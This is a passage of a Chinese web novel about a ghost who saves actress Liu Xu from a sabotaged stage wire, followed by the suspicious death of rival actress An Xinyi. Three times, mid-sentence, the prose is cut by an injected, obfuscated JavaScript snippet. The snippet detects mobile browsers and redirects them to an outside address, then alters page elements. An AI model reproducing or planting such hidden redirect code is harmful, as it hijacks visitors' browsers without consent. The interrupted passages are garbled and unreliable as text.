此刻计划没有如愿实现，那个人定然会很惊讶，很生气，而其他不知情的人只会专心欣赏柳絮的演出，可以在柳絮礼服上动手脚的人，一定是柳絮身边的人，或者是跨年会的工作人员，又或者是跟她同台参加演出的明星。 不管是谁，那个人现在一定就在舞台附近。 秦羽从空中飘下来，在舞台周围转了几圈，重点观察他们的表情，终于，她发现了一个非常可疑的女人。 那女人化着浓妆，脸小小的，一双眼睛瞪得很大，整体长相偏可爱，穿着淡粉色的礼服，站在后台可以看到舞台的位置，她和别人不同，她不在意柳絮唱的怎么样，她的目光都在天上的威亚上，转而看柳絮时眼神里带着明显的恨意。 秦羽记住她的样子，心想一定要搞清楚她的名字，但秦羽倒没费什么力气，那女人在柳絮演出结束后竟然主动走了过来。 “柳絮姐，恭喜你呀！” 柳絮蹙眉，有些不解对方到底在恭喜她些什么，但伸手不打笑脸人，柳絮点头微笑，表示感谢。 “你上热搜了，大家都说你唱歌好听，我也觉得你唱得真的很好听！” 她笑起来眼睛眯成一条缝，左脸有只大大的酒窝，特别可爱。 提到热搜两个字，柳絮本来脸色不太好看，以为对方在说她最近的连续剧角色被骂以及黑料的事情。 “啊，是吗？我刚才很紧张呢，险些忘词了。” 这个女生叫安欣怡，比自己小一些，也是个演员，最近在几个剧组里面见过她，但柳絮和她没什么对手戏，所以关系挺一般的。 在柳絮的印象里，她是个很乖很可爱的女孩子，在她面前很有礼貌，每次见到都会主动打招呼。 “你准备的怎么样了？”柳絮知道她一会儿也有演出，不过不是独唱，而是和五个女生一起合唱。 安欣怡嘟着嘴，露出一种又紧张又害怕的表情，回道:“我唱歌不行的，只要不跑调就好了！” 柳絮摸了摸她的肩膀，以示安慰：“没事的，别紧张，加油！” “好嘞，我会努力的！” 柳絮拖着长裙，往后台化妆间走，她离开后，秦羽看到安欣怡的脸瞬间大变样，什么可爱啊，友好啊，原来都是她装出来的。 柳絮目前没什么危险了，秦羽打算跟在安欣怡后面，看看她虚伪的面具下到底隐藏些什么。 12. 跨年夜 “你们制作方也太夸张了吧，白天我就觉得不对劲了，好好在舞台唱不就好了，为什么非要吊威亚！吊威亚就算了，怎么好好的绳子突然就断了，你们是想草菅人命吗？” 柳絮的女助理冲到后台的一个房间里，她平时看着挺和善的，想不到发起脾气来这么吓人。 房间里坐在屏幕中心管控全场的男人，放下耳机，和身边的人低声说了几句话，一个留着中分发型的年轻男人走过来，赔笑着解释:“李姐，你先别生气，这个问题我们刚和舞台工作人员沟通过，确实是我们的问题，那威亚最近在舞台上经常使用，下午彩排的时候也是好好的，可不知道为什么演出的时候却突然断了，我们工作人员有检查过，看起来像是被什么东西切断的，我们怀疑会不会是中场的烟花表演，飞出的火星子碰到了绳子，所以……” 女助理都气笑了，打断他:“也就是说你们演出之前压根没有确认过威亚绳子有没有问题？” 中分男推了推眼镜:“呃，晚会开始前我们确实检查过所有的绳子，一般演出时不会出什么问题……” “那今天呢，你的意思是说今天不是一般的情况，是个意外？” “李姐，我不是这个意思……” “那你是什么意思，如果当时我们艺人被威亚吊起来，升到半空中时绳子突然断了，就全是我们的责任了呗，你知道培养一个艺人要花多少心力吗，如果出什么事，我怎么跟公司交待！” “李姐，我不是这个意思，我们也不希望有意外发生的，可舞台事故有时候也避免不了，我们工作人员已经尽了最大的努力了，好在绳子一开始就断了，柳絮也没有真的被吊起来。” “……”女助理吸了一口大气，准备好好骂他几句。 “哟，我们霜姐怎么生了这么大的气呀？” 一个身形妖娆，面容姣好的男人走过来，他使了个眼色让中分男赶紧消失，自己则堆着笑凑上来，伸出细长白皙的双手，帮忙整理女助理脖子上的丝巾。 女助理看到他后，气消了些：“他说话也太不中听了吧，什么叫柳絮没有被真的吊起来，要是真吊起来又摔下去，他现在还能在这跟没事人似的，跟我瞎扯皮吗！” “霜姐，你放心好了，这事我们黄导也知道了，为了补偿柳絮的精神损失，今天晚上的劳务费双倍，另外接下来几个月的大型晚会，只要你们能抽出时间来，我们会留出最好的演出时间……” 女助理装作生气，哼了一声，但眼睛里已经有了笑意，回道:“我们艺人最近是接的戏不少，但黄导要是有诚意，我们当然有时间的。” 男人递给女助理一支烟，银色打火机闪出蓝色的火焰。 “霜姐这回不生气了吧，你看柳絮今晚唱得多好啊，现在还挂在热搜上呢，我真羡慕你，手下的艺人又听话又优秀，今后的前程无可限量啊。” 女助理吐了口烟圈：“借你吉言，今后还需要黄导多多给机会啦。” * 后台的某间更衣室内，安欣怡看着镜子里的自己，瞳孔黯淡放佛丢了魂一般。 “欣怡，你怎么回事？下午彩排时还好好的，怎么到真格时候词都不记得了！你已经是半开麦了，对唱功没什么要求，只要嘴型和歌词大概能对得上就好了，怎么就这点要求，你都做不好！你知不知道，这次跨年晚会的演出机会可是公司花了很大力气帮你争取来的，你就不能珍惜一下吗？” 安欣怡的脸色很难看，灯光下她的脸看起来惨白惨白的，唇色又很红，活像个女鬼。 “我今天姨妈来了，身体不太舒服，我也不是故意要忘词的，都怪这舞台设计的不好，灯光闪的我眼睛疼，又没有提词器可以看……” 助理没给她面子，直接打断她：“行了吧，每次都是这些借口，我都听烦了……我刚才看了重播，一共六个人合唱，本来你的镜头就少，切过来的时候你的嘴型和歌词根本对不上，眼睛里也没神，你到底在想什么啊！” 安欣怡不敢得罪她，只好不服气的低下头：“对不起，我今天真的不太舒服。” 助理叹了口气，直接戳她肺管子，“你看看人家柳絮，今天唱得多好啊，你就不能跟人家学学吗？明明几年前拍《王的后宫》时你们两个人都演丫鬟，你再看看柳絮现在多火啊，多少个剧组都抢着找她演戏，这几天还在热搜上，下都下不来，你再看看你，多少年过去了一点进步都没有！你就不能努力努力吗？你再这样下去，公司也没法管你了，你爱去哪去哪吧……” 一只玻璃杯重重的摔在地上，发出清脆的响声。 提到柳絮，安欣怡的脸瞬间变得扭曲，大声道：“她有什么厉害的，不就是胸大点，不要脸，会勾引男人吗，要不是有高家作后台，她怎么可能处处都压我一头！” “她有什么后台我不知道，就算有，也是人家有本事，打铁还需自身硬，人家全开麦还唱得这么好，换了是你，你行吗？” “我怎么就不行了！你觉得柳絮好，就去找她啊，看看她要不要你就是了！” “真是对牛弹琴……”助理摔门，黑着一张脸走了。 安欣怡咬着嘴唇，继续看镜子里的自己，看着看着竟笑了出来。 “柳絮，今天不死算你命大，今后……走着瞧吧。” * “啊……” 秦羽从柳絮的更衣室出来，因为走得急，迎面撞上了一个男生。 “对不起，对不起……” 那男生手里拎的饭盒，此刻被打翻在地上，有汤洒出来了。 秦羽蹲下来，和他一起把饭盒重新整理好，他看起来和秦羽现在的皮囊差不多年纪，应该也在上大学吧。他皮肤白皙，唇红齿白，眼神看人的时候很柔软，即使饭盒被弄得乱七八糟，也没有很生气的样子，感觉是个很有涵养的男生。 “没关系，是我刚才一直看手机，没看路，不怪你。” 他的态度实在太好，秦羽不好意思的笑了笑：“也怪我，走得太快了，没看清路。” 男生也笑了笑，以表回应，秦羽看到他背的斜挎包上有政法大学的标志。 “你怎么过来了？” 更衣室内，柳絮将演出礼服脱下来整理好，自己则换上了平时穿的衣服。跨年演唱会的门票一票难求，柳絮跟制作方要了两张，前几天给了弟弟柳江。 “姐，你今天一定很累吧，我给你带了些吃的。”柳江从饭盒里拿出两菜一汤和一碗香喷喷的白米饭，“我已经加热好了，你现在就开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289559|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃吧。” 柳絮看着面前的饭菜，看得出弟弟是精心准备过的，两个菜都是她最爱吃的，一个孜然炒牛肉，一个油焖大虾，大虾都去了头和虾皮，直接夹起来就能吃。 这一看就是弟弟亲手做的，柳絮有点感动，低下头吃了几口，眼圈红了。 “姐，你今天唱得真好听！” “那必须的，你姐的实力你还不知道吗？” 柳絮笑了，这可能是她今天唯一一次发自真心的笑，“对了，你今天是一个人来看演出的吗？” 柳江耸耸肩：“当然了，不然我还能带谁一起。” “随便找个姑娘来啊！这么好的机会，我猜不管你邀请哪个女生，人家都不会拒绝的！” “那也是冲着演出来的，又不是为了我。” “怎么可能，柳江你怎么那么不自信呢，妈把咱俩生的花容月貌的，哪个女孩看了你不心动呀！” “姐，你用花容月貌形容自己还行，形容我合适吗，合适吗？” “看看你这双漂亮的桃花眼，如果是女人，一定比姐姐还好看！” “哎哟，恶心死了，姐你可别打趣我了！” 更衣室里回响着柳絮的笑声，即使今天过得又辛苦又艰难，可此刻的她觉得一切都没什么了。 “对了，我最近看到网上的热搜了，他们都说你和众合集团的高阳有什么关系……” 提到高阳的名字，柳絮的表情变得严肃起来：“网上说的那些话，你看看就算了，还能当真吗？” “可是她们说的有鼻子有眼的，还有偷拍的照片……” “那些照片都是姐姐应酬的时候拍的，你知道的，当艺人就是这样，有些邀请没办法拒绝。” 柳江摆弄着桌子上的礼服，不太高兴，柳絮拍了他肩膀一下：“哎！不用担心我，你只要好好念书就可以了，我们这个圈子太乱，有些事情我也跟你解释不清楚，反正你只要知道，热搜上面那些都是瞎掰的就好，不用当回事。” 柳江叹了口气：“姐，我觉得你之前偶尔接点网剧拍的时候就挺好的，现在虽然名气更大了，但我真的心疼你，没日没夜的拍戏，接通告，我都觉得你变憔悴了！” “有吗？”柳絮望着镜子里的自己，明明是一副美艳动人的样子，人人都是这样说，刚才关于她演出的热搜，她已经看过了。 “有！我觉得有！”柳江说这话的时候表情非常认真，“可能是眼神变憔悴了？反正我能感觉到。” 柳絮不想在这个话题上继续跟他扯皮，开口问:“对了，你最近找工作的事情怎么样了？” “……”柳江的注意力都在礼服背部的威亚安全扣上，他本来觉得新奇，便用一只手捏着玩，刚刚他使的力气并不大，可这安全扣却突然断开了，“姐，这是你演出时穿的礼服吧？这安全扣怎么会……” 柳絮捂着嘴，惊呼一声，又仔细看了看礼服上的机关，看来今天的一切并不是意外，但为什么威亚绳子会突然断掉了呢。 柳絮的脑子一团乱，礼服慢慢向下滑落，最后掉在地上。 “姐，这有张纸条，上面有字！” 柳絮蹙眉，只见那张纸条上用加黑加粗的字号写着:“安全扣有问题，小心安欣怡！！！” 13. 跨年夜 “五、四、三、二、一，新年快乐！” 跨年的钟声响起，秦羽在人群中松开双手，黄色的气球跟随大家五颜六色的气球大军缓缓上升。 “真壮观啊！” 她刚刚飘在空中，发现市中心最高的大厦下面黑压压的全是人，落下来一看才知道是跨年特别活动，她死前待的城市太小，从来没举办过这么有意思的跨年活动，看大家一个一个脸上都笑嘻嘻的，对新的一年充满期待，她也忍不住想参与一下，拿了两只气球，在人群中跟大家一起倒计时。 好开心啊。 气球放飞后，大厦上方的天空上放了几只漂亮的烟花，秦羽感叹，现在的烟花也太漂亮了，居然可以在空中摆出那么多有趣的形状。 来参加跨年活动的基本都是些年轻人，他们成双成对的，在烟花绽放时，秦羽看到身边有好几对情侣在接吻，像她这样，一个人来参加跨年活动的，好像真没几个。 本来挺开心的，现在反而有点沮丧。 秦羽飘回空中，追着一只红色气球玩，飞着飞着，她视线中多了一个熟悉的身影。 “你最近工作还是很忙吗？” “嗯，急诊部门事情比较多……上次也是因为病人突然出了问题，我才放了你鸽子，还是要当面跟你说一声对不起。” 蓝哲挠了挠头：“啊，没关系。” 蓝哲和一个女生肩并肩走着，那女生个子不高，勉强到蓝哲肩膀位置，她扎了个利落的马尾辫，穿得挺邻家女孩的，长相也是乖乖的，戴了副眼镜，一看上学的时候就是个好学生。 蓝哲今天穿得人模狗样的，感觉出门前有好好打扮过，上半身是一件酷帅的牛仔服，下半身工装裤加靴子，头发刘海不知道用过什么东西，向后支楞着，整体看着帅出了新高度。 “那你工作忙吗？” “我还好，每天就是整理整理卷宗和口供，还有一些文案工作，像上次那种任务，领导都很少派给我。” “对了，李奶奶最近一次手术做得很成功，术后恢复也不错，再观察一段时间就可以出院了。” “那太好了。” 两个人一阵沉默，秦羽觉得蓝哲有点紧张，看来他的撩妹技巧很薄弱，这么快就词穷了。 女生停下脚步，看了眼手机，惊呼道：“呀，太晚了，我明天还得值班呢，要不我们……” “等一下！”蓝哲从口袋里拿出了一个包装精美的盒子，递到女生手里，“苏锦，上次的事情麻烦你了，这个礼物我随便买的，也不知道你喜不喜欢，祝你新年快乐！” 女生看着他手里的礼物，有些不知所措。 “我……这样收下你的礼物是不是不太好，我也没有给你准备什么……” “没关系，你收下吧。” “……好吧，谢谢你。”女生将礼物收到自己的小包里，“那我就先回去了。” “这么晚了，我送你吧？” “不用不用，我家就在附近，我打个电话让司机来接我就行。” “……好，你一个人不安全，我再陪你等一会儿。” “好。” 五分钟后，一辆黑色的迈巴赫停在蓝哲面前，苏锦转过头问他：“你住的近不近，要不要顺便送你回家？” “不用不用，我自己回去就好，谢谢。” 苏锦上了黑色轿车，摇下车窗，和蓝哲挥了挥手。 蓝哲望着车尾，点了只烟，两秒后，他的面前出现了一张女人的脸，那女人双眼睁得滚圆，好像在仔细观察他此刻的微表情。 要不是他曾经经历过这种事，再加上他略带沉稳的性格，换成别人可要吓得叫妈妈了。奇怪，她怎么会在这里，难道附近又有什么事故要发生了？ “真是个呆瓜，人家说不用你送，你就不送啊，怪不得是个单身狗！” “嘴还特别笨，那天安慰小志的时候你还挺能叭叭的，怎么到了喜欢的女孩面前，变成哑巴了？” “谁约会的时候老说工作的事儿啊，长得帅有什么用，都不会说点好听的话哄人家开心……” “而且那女孩好像家庭条件很好的样子，从小在蜜罐里长大的，这样的女孩不缺爱，就更难取悦，不过……她看起来还挺文静的，也许父母从小就对她管教严格，哎呀，在那样的环境里长大也蛮可怜的，喂？我想到了！这样性格的女孩更容易被叛逆的男孩吸引，你可以带她去做点刺激的事情，比如过山车啊，蹦极啊，噢，我忘了，你胆子超级小，不敢坐过山车……还死要面子不敢承认……” 蓝哲将剩下的烟头掐灭，脸色不太好看。 “别难过了，不管怎么说，跨年夜她也陪你出来了啊，我看你们两个人还是有点戏的，别灰心！” “你看我，跨年夜都没有人陪，不是也好好的！” “不过，我确实有点想我妈了……” “你知道吗，我今天去了一个超级富豪的家里，他家的宅院特别漂亮，有好几幢别墅，不过，那家主人是个变态……F市的体育馆非常大，听说能同时容纳八万观众呢……娱乐圈真是太乱了，感觉没一个好人……其实我还有点不放心柳絮，明天抽空我再去看看她吧……” 秦羽跟在他身边，说了好多话，反正他也听不到，秦羽越说越嗨，说着说着，好像两个人真的能交流一样。 这男人可能心里正难过呢，走了这么久，也不打车。 秦羽觉得身子有点沉了，打了个哈欠：“不跟你说了，反正你是个哑巴，啊，我突然感觉好累，好想回家睡觉……” 说来神奇，这笨男人没走几步，竟拦下了一辆出租车。 “看来你也走累了吧！”秦羽嬉皮笑脸的跳上车，在他眼前打了个响指，“新年快乐，蓝哲。” 蓝哲别过头，打开车窗，在心里说:“傻妞，也祝你新年快乐。” * 此刻，F市附近的一艘豪华游艇上，几十个美女穿着比基尼正在甲板上跳热舞。 “高总，您看看，有喜欢的没有？”一个中年男人，穿着一身带亮片的西装，显得不伦不类的，坐在高阳旁边殷勤的倒酒。 高阳喝了口红酒，冷哼一声：“都是些寻常货色，看都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289560|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看腻了，我还以为你今天找我来是有什么新节目呢。” 甲板上的美女个个胸大腿长，长得各有各的美，有清纯的，有妩媚的，有本国的，还有几个外国妞。这些都是他精心挑选的美女，只为了能有个被高阳看上，却不想这么多绝色，他竟一个都看不上。 传闻中，高家少爷是极好色的，他本想讨得他开心，从他手里要块好地用来开发高端酒店。 谁不知道，F市最好的地皮可都在众合集团手里捂着呢，哪家地产开发商能从众合集团手里买块好地一起合作，哪家开发商就能赚翻天。 “高总，你也知道，我是农村出来的，哪见过什么世面啊，让您见笑了。” 高阳举起酒杯，中年男人急忙拿起酒杯，一饮而尽。 “我知道你用心了。” 中年男人见高阳对这些女的确实没什么兴趣，招了招手，让助手带她们离开了。 “对了，高总，我这还有个宝贝。” 高阳挑眉:“哦？在哪里。” “高总您这边请。” 中年男子引导高阳来到船尾精心布置的房间里，自己则退了出去。 高阳眯着眼睛，透过层层的红丝线，看到了床上的女人。 她穿了一身黑色蕾丝内衣，面容姣好，含情脉脉，轻轻一笑后，盈盈起身，朝着高阳的方向跳艳舞，一层一层的穿过红丝线。 “有点意思。”高阳全身开始躁动起来。 他看不清楚她的脸，只能看到她曼妙的身姿。 良久，女人似乎觉得是时候了，穿过所有的红丝线，来到高阳身边，一双纤纤玉手勾住了他的脖子。 高阳一把搂住她的腰，将她的面纱取下。 “你叫什么名字？” 女人眼神迷离，一只手在他的胸口试探，哑声在他耳边回答。 “安欣怡。” * 次日上午，秦羽走进咖啡店，蓉蓉急吼吼的跑过来将她拉到一边，快速开启八卦模式。 秦羽以为蓉蓉会说昨晚柳絮唱歌上热搜的事情，想不到她说的是另一件事。 “你听说了吗？安欣怡死了！” “啊？” “就是昨晚在跨年晚会唱歌的一个演员，昨晚演出的时候还好好的，今天早上被发现死在家里了。” “怎么死的？” “网络上说是压力太大，自杀了。” “……” 秦羽回想起安欣怡的种种，怎么看她都不像是会自杀的人啊。 蓉蓉给她看热搜上面的内容，大概的意思是，昨晚演出时她身体不太舒服，因为演唱的时候忘词了，她在后台被经济公司的人骂了一顿，回家后突然情绪失控，半夜在浴缸里自杀了。今天上午她的助理发现她在浴缸里窒息了，警察们还在侦查中，不过警察们的初步判断她死于自杀。 网友们还扒出她过去的一些状态和照片，发现她长期失眠，情绪极不稳定，有时候还在剧组里和工作人员乱发脾气，她经纪人和她关系老早就不好了……总之，她可能很早就有抑郁症了。 14.跨年夜 “这个孙芸芸是谁？” “她是安欣怡经纪公司的，昨晚就是她在更衣室里和安欣怡大吵了一架，听说都摔东西了，现在大家都在喷安欣怡的经纪公司，连带着这个孙芸芸也上热搜了，说她长期压榨安欣怡，不停的接通告，不顾艺人的死活，纯把艺人当摇钱树……” “那这些人是谁呢？” 蓉蓉瞟了一眼热搜词条上的名字，回道：“噢，这些都是安欣怡平时在娱乐圈里比较好的艺人朋友，现在站出来替她发声，帮忙讨公道的，还有这个人是安欣怡的大粉，她发了好多安欣怡粉丝群里的聊天截图，证明安欣怡昨晚参加跨年演出的时候已经30多个小时没睡觉了……真是太过分了！怪不得昨晚她唱歌的时候表情怪怪的，嘴型和歌词都对不上……” “那柳絮的热搜呢？” “你说昨晚关于她唱歌的那个热搜吗，早就没影了，安欣怡的事情一出，大家的注意力都转移了，现在热搜前十都是关于她的，说来也是挺悲哀的，这个叫什么安欣怡的，之前我都不记得有这么个演员，她死前可从来没上过热搜，死后却一直挂在热搜上，现在流量都爆了。” 秦羽低着头不知道在想些什么，蓉蓉眨巴着眼睛，小声问：“你说，安欣怡真的是自杀吗？” “我不知道……可能是吧。” 秦羽觉得她百分百不是自杀，那么要强的人怎么会自杀呢，但蓉蓉很多内情都不知道，为了不暴露身份，她只好揣着明白装糊涂。 蓉蓉摆出柯南的经典动作：“真相只有一个，她应该是被人害死的！” “被谁害死的？” 蓉蓉更加坚信自己的第六感，看着秦羽认真的说：“具体不知道是什么人，但肯定和资本有关系。” “？？？” “你想啊，她的死亡消息才出不久，马上就被顶上了热搜，照道理来说，她这种咖位的小明星，没有后台，粉丝数量也很少，怎么也不会速度这么快就霸榜啊，而且前十条几乎都是了，一看背后就是有资本在操作，先一步引导舆论的走向，省得真扒出什么来，处于被动就不好平事了。” “……” 看来蓉蓉平时的热搜没白看，八卦都八出经验来了，说的头头是道的，秦羽都信了。 “那资本为什么要搞她？” “害，这个理由太简单了，可能是挡了谁的路了呗！得罪了哪个位高权重家的丑孩子，这种事情多了……” 被蓉蓉这样一说，秦羽倒觉得有个人很可疑。 连续剧的开头曲响起，蓉蓉把想说的话都说完了，此刻安欣怡的事情已被抛诸脑后，转而继续为黄玲玲的事情生气去了。 秦羽开始机械的低头刷杯子，她现在脑子很乱，本来昨天晚会上她救了柳絮是件值得高兴的事情，她越来越喜欢这项工作，每次她真的救了一个人的性命时，她的内心都会获得巨大的满足感。 但安欣怡突然的死亡，让她感觉到了恐惧，如果真如蓉蓉所说，安欣怡是被人害死的，那这个人背后的力量也太大了，昨天晚上演出完还好好的，仅仅过了几个小时，一个知名的演员便惨死在家中，一切又做得那么天衣无缝…… 如此简单，如此随意，一条鲜活的生命就没了。 恐怕，被他弄死的人，已经多到数不清了吧？ 如果下次，秦羽遇到了类似的事情，她能救吗？她要怎么救…… * 柳江早起看到新闻后，第一时间赶到了柳絮住的地方。 昨晚，姐姐的演出礼服旁边放着一张纸条，上面写着“小心安欣怡”，他当时问姐姐，安欣怡是谁，姐姐只说是和她同台演出的一个女艺人，至于这张纸条为什么会出现在这里，又是谁放到这里的，姐姐也说不清楚。 但是，他在看到纸条之前，先发现了姐姐礼服的威亚安全扣有问题，也就是说，如果姐姐昨天演出的时候，威亚绳子没有在一开始断掉，而是等姐姐吊在空中才断掉的话，恐怕姐姐当场脖子就断了。 结合纸条来看，恐怕安全扣的断裂不是偶然，而是人为的。至于是不是安欣怡做的，他问了姐姐关于安欣怡的事情，姐姐说她们最近没什么往来，也没在同一个剧组拍戏，偶尔在参加活动的时候见到，对方也是笑盈盈的，从来没跟她有过什么正面冲突，那为什么要害她呢。 姐姐想不明白，柳江看她已经很疲惫了，便催着她早点回去休息，自己则戴着别人的工牌，在后台的化妆间里穿梭，希望可以找到安欣怡，侧面打听些情况。 说不上为什么，柳江觉得姐姐似乎对他隐瞒了一些事情，那些事情姐姐不说，他只好自己想办法了。这些年来，都是姐姐替他安排好一切，他不用操什么心，只要努力念书就好，现在他已经长大了，自然要为守护姐姐出一份力。 他打着制作方服装部门工作人员的旗号，很快便找到了安欣怡所在的房间，确认了她此时正在房间后，便仔细听里面的动静，她当时好像和什么人打了个电话，五分钟后，她穿了件皮草，戴着口罩和墨镜，从房间里走出来。 柳江不动声色，跟在她身后，她从员工通道快步走出了场馆，穿过了几条街，最后在一辆银色商务车旁停下来，车上走下来一个中年男人，路灯下他穿的西装闪闪发光，他和安欣怡说了几句话，安欣怡便上了车。 柳江看着银色商务车的车牌号逐渐消失在夜幕里。 “XX66866”。 这么靓的车牌号，他想不记在脑子里都难。 “姐，你看新闻了吗？” 柳絮穿着一身素色的家居服，睡眼惺忪的，打开门后，吓了一跳。 “你怎么这么早就过来了？” 柳江走进房间，关好门，双手握着姐姐的肩膀，晃了几下，试图让她清醒一些：“姐，你知道吗，安欣怡死了。” “什么？”柳絮以为自己听错了，“你说谁？” “安欣怡啊，就是昨晚纸条上写的那个女人。” 柳絮瞬间睡意全无，又问了一遍:“你说她死了？怎么死的？” 柳江如实回答:“今天早上被发现死在自己家的浴缸里了。” 柳絮瞪大眼睛，怎么也不敢相信这个消息，直到柳江给她看了网络上的新闻和照片，她才完全信了。 柳江说出心里的疑惑：“姐，我觉得她的死不简单，我觉得……她不是自杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293418|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的！” 柳絮舔了舔嘴唇，她心里有怀疑的人，但他怎么会那么快就知道这些事情，不过想想也不是不可能，毕竟毕竟前些日子自己和一鸣见面的事情他也知道。 那个男人太恐怖了，这几年来，她彷佛就是他的提线木偶一般，让她往东，她便往东，让她往西，她便往西，她想过要逃，但她逃不掉，况且她在这个世上还有在意的人，她不能那么自私的走掉，唯一的路就只有服从、隐忍。 “警察们怎么说？” “他们初步调查说是自杀。” “那她应该就是自杀吧，警察总不会有错的。” “姐，你和安欣怡过去真的没什么过节吗？” 柳絮耸耸肩，装作一副无所谓的样子：“真的没有，我昨天晚上想了，好像我们以前一起拍过一部戏，除此之外就没什么交集了。” 柳江靠在沙发上，仔细观察姐姐的表情，她看似轻松，其实很不安，她的右手一直在绕鬓角的碎发，他知道她小时候遇到麻烦的事情就会做出这样焦虑的动作。 想了几分钟，柳江还是决定和姐姐摊牌。 “姐，我昨晚看见安欣怡上了一辆商务车，车牌号我还记得，为了方便警方调查，我打算报警，告诉他们车牌号码。” “什么？”柳絮手里的杯子掉在地上，站起来瞪着弟弟，“不要报警！” “为什么？” 柳絮意识到自己刚刚反应太过激动了，坐下来顺了口气，继续说：“你没看现在这件事都闹上热搜了吗，多数人都盯着呢，你最好不要多管闲事，警察自然能查到安欣怡昨晚的活动路线，你放心好了……总之你就乖乖听姐姐的话，不要报警，知道了吗？” “姐，你是不是有事情瞒着我？” 柳江的眼神特别认真，从小这孩子就是这样，做什么事情都要刨根问底的，不撞南墙不罢休，但这件事情，柳江绝对不能插手。 柳絮直视他的目光，轻笑：“小江，你说什么呢，姐姐能有什么事情瞒着你。” 柳江垂下头，小声说：“希望如此……” * 蓝哲入职已经满一年了，这一年内绝大多数的时间他都在整理案件的卷宗，或是将其他人录好的口供整理成文档，要不就是上级部门要调一些旧案，他来负责整理和交接。 可他想做的并不是这些，他也想像老刑警们一样参与案件的调查工作，但组长总是说他刚来，不用太着急，先做做文案工作，打好基础以后才能更好的上前线行动。 慢慢的，他竟觉得自己没在刑侦队上班，而是在档案馆上班了，那些卷宗和口供看得他每天眼睛很痛，到底什么时候是个头啊。 下班前，蓝哲抱着厚厚的文档，准备送到刑侦大队办公室，刚走到门口，他听到里面有讲话的声音。 “张局，我们法医从安欣怡胃里取出的东西已经全部化验完毕了，她胃里有一种类似海藻的物质，我们比对了生物库，那种海藻成分只有F市周围的海边才会有，可她死在自己家的浴缸里，胃里面怎么会有那种东西呢，只有一种可能，她是在海水里淹死的，而不是在家里浴缸窒息的，她有极大的可能是他杀……” 15.桥 “嗯……对……我知道这个案子现在关注度非常高，现在是省里派下来的专案组在接管，但今天早上是我们刑侦二组先到的现场，我们最清楚那时的情况，其实现场还是存在一些疑点的，我们就这样给媒体一个自杀的初步结论，是不是不太妥当呢？” “你说相关证物和口供么？我们今天下午已经和专案组做过交接了。” “大学断头案和湖边溺水案我们调查组还在努力中，现在已经找到一些新证据了……我知道，我知道，您放心，张局，这两个案子我们刑侦队一定会找到真凶的……那安欣怡的案子我认为……好，我知道了。” 蓝哲中午吃饭时听同事们说过这个安欣怡的案子，死者是个女明星，昨天晚上还参加了跨年演出，他目前没办法到现场参与案件的侦查，每天只能在同事们的闲言碎语中了解些情况，或者根据口供和卷宗，在脑海里还原现场的情况。 不过，安欣怡的卷宗并没有交给他，似乎是上面要的急，中午组里的范师兄没去吃饭，想来是在加班加点的整理。 如果被警长发现他在门口偷听，他就完蛋了，他很有心机的在门口等了几分钟，才推开门进去。 “什么事？” 吴敬业正在落地窗边站着抽烟，转过来看到蓝哲时脸色不太好看，不过在蓝哲印象中，警长多数时间都是绷着脸，几乎没笑过。 “师傅让我来送去年最后一个季度的卷宗。” “好，放桌子上就行。” 吴敬业是高级警长，统管四个刑侦小组，蓝哲级别太低，很少有机会和他说话，他干了一辈子刑警了，脸上不怒自威，蓝哲不敢直视他的眼睛，将卷宗放好后，转过身准备离开。 “你叫什么名字来着，是新来的吧？”吴敬业回到办公桌的椅子上，弹了弹烟灰。 蓝哲站得笔直，如实回道：“回警长，我叫蓝哲，是刑侦二组去年新来的办事员。” 吴敬业吸了两口，将剩下的香烟熄灭，盯着他从上到下的扫了一遍：“哦，二组啊……你师傅是谁？” “张连泉。” “老张啊，不错，跟着你师傅好好学。” “谨遵警长指示！”蓝哲敬了个礼，神色间有些犹豫，但还是开了口，“警长，请问我什么时候可以成为一名真正的刑警？” 吴敬业见他的眼神赤诚又热切，笑了笑回道：“毛头小子才刚工作几个月就想跟着师傅去现场了？想当年，我刚进刑警队的时候做了三年的文案工作，才有了上前线的机会……要知道，这些卷宗和口供都是很重要的办案资料，整理的时候别分心，好好学习下老刑警们平时是怎么办案的，打好基础，你还年轻，以后这里会是你们年轻人的天下。” “是！我会好好学习的，多谢警长教导！” 吴敬业摆了摆手，蓝哲领会意思，立即转身离开并带好门。 吴敬业看着蓝哲的背影，依稀想到自己年轻时的模样，此去经年，他现在的眼神里还有年轻时的赤诚么？ * 秦羽下班后，在大街上游荡了很久，一个亮灯的人都没发现。 今天的阳光很好，也没什么雾霾，天空是湛蓝色的，上面飘着几朵云彩，有朵云彩形状很像一只海豚。可能是天气的原因吧，秦羽觉得今天看到的人们，脸上的笑容都变多了。 